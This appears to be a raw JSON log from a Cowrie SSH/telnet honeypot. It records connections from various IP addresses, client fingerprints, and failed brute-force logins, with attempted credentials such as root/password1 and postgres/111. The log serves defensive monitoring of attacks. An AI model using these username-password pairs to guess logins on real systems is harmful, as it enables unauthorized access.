{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:02.663948Z","src_ip":"103.172.78.219","session":"af5eb231ce9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pfbymrf","message":"login attempt [root/pfbymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:03.454507Z","src_ip":"103.172.78.219","session":"af5eb231ce9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:04.722296Z","src_ip":"103.172.78.219","session":"af5eb231ce9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password1","message":"login attempt [root/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:05.230732Z","src_ip":"80.94.92.55","session":"2fe7e42dd79f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:06.831034Z","src_ip":"80.94.92.55","session":"2fe7e42dd79f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":63726,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a42f3a8d72a","protocol":"ssh","message":"New connection: 109.91.4.177:63726 (10.17.0.5:22) [session: 8a42f3a8d72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:15.959386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:15.962842Z","src_ip":"109.91.4.177","session":"8a42f3a8d72a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:16.066377Z","src_ip":"109.91.4.177","session":"8a42f3a8d72a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":52416,"dst_ip":"159.203.135.109","dst_port":23,"session":"155e706382ba","protocol":"telnet","message":"New connection: 143.198.154.150:52416 (159.203.135.109:23) [session: 155e706382ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:16.157210Z"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza1","message":"login attempt [reza/reza1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:16.836943Z","src_ip":"109.91.4.177","session":"8a42f3a8d72a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:17.939356Z","src_ip":"109.91.4.177","session":"8a42f3a8d72a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":48472,"dst_ip":"159.203.135.109","dst_port":22,"session":"14ead585f3b8","protocol":"ssh","message":"New connection: 159.65.58.200:48472 (159.203.135.109:22) [session: 14ead585f3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:20.293447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:20.491707Z","src_ip":"159.65.58.200","session":"14ead585f3b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:20.494289Z","src_ip":"159.65.58.200","session":"14ead585f3b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"slepnyov","password":"123456","message":"login attempt [slepnyov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:21.433294Z","src_ip":"159.65.58.200","session":"14ead585f3b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:22.618274Z","src_ip":"159.65.58.200","session":"14ead585f3b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.172008752822876,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:24.736850Z","src_ip":"170.64.224.25","session":"620dac33a51b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":46230,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e30c1b88481","protocol":"ssh","message":"New connection: 192.169.249.148:46230 (159.203.135.109:22) [session: 6e30c1b88481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:35.687759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:35.691792Z","src_ip":"192.169.249.148","session":"6e30c1b88481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:35.756397Z","src_ip":"192.169.249.148","session":"6e30c1b88481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Strk#Tr0ng!P@ss","message":"login attempt [root/Strk#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:35.955090Z","src_ip":"192.169.249.148","session":"6e30c1b88481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:37.021550Z","src_ip":"192.169.249.148","session":"6e30c1b88481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":35518,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d02ae2f0826","protocol":"ssh","message":"New connection: 209.99.190.200:35518 (10.17.0.5:22) [session: 5d02ae2f0826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:43.159576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:43.163287Z","src_ip":"209.99.190.200","session":"5d02ae2f0826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:43.260671Z","src_ip":"209.99.190.200","session":"5d02ae2f0826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fff","message":"login attempt [root/fff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:43.686190Z","src_ip":"209.99.190.200","session":"5d02ae2f0826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:44.785928Z","src_ip":"209.99.190.200","session":"5d02ae2f0826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":13296,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6dbf004c956","protocol":"ssh","message":"New connection: 218.56.160.82:13296 (10.17.0.5:22) [session: b6dbf004c956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:47.477410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:47.481318Z","src_ip":"218.56.160.82","session":"b6dbf004c956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:47.745321Z","src_ip":"218.56.160.82","session":"b6dbf004c956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"111","message":"login attempt [postgres/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:48.824800Z","src_ip":"218.56.160.82","session":"b6dbf004c956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:50.088106Z","src_ip":"218.56.160.82","session":"b6dbf004c956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":45188,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ea0fb1d823d","protocol":"ssh","message":"New connection: 38.148.249.2:45188 (10.17.0.5:22) [session: 8ea0fb1d823d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:51.920540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:51.923969Z","src_ip":"38.148.249.2","session":"8ea0fb1d823d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:51.993007Z","src_ip":"38.148.249.2","session":"8ea0fb1d823d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello1234@","message":"login attempt [root/Hello1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:52.306232Z","src_ip":"38.148.249.2","session":"8ea0fb1d823d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:53.377659Z","src_ip":"38.148.249.2","session":"8ea0fb1d823d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":11715,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e36f917815e","protocol":"ssh","message":"New connection: 218.56.160.82:11715 (10.17.0.5:22) [session: 9e36f917815e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:25:45.037834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:25:45.041440Z","src_ip":"218.56.160.82","session":"9e36f917815e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:25:45.296214Z","src_ip":"218.56.160.82","session":"9e36f917815e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:25:46.968993Z","src_ip":"218.56.160.82","session":"9e36f917815e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:25:48.221406Z","src_ip":"218.56.160.82","session":"9e36f917815e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":61428,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d4379540e1d","protocol":"ssh","message":"New connection: 109.91.4.177:61428 (10.17.0.5:22) [session: 3d4379540e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:14.232356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:14.236650Z","src_ip":"109.91.4.177","session":"3d4379540e1d","protocol":"ssh"}
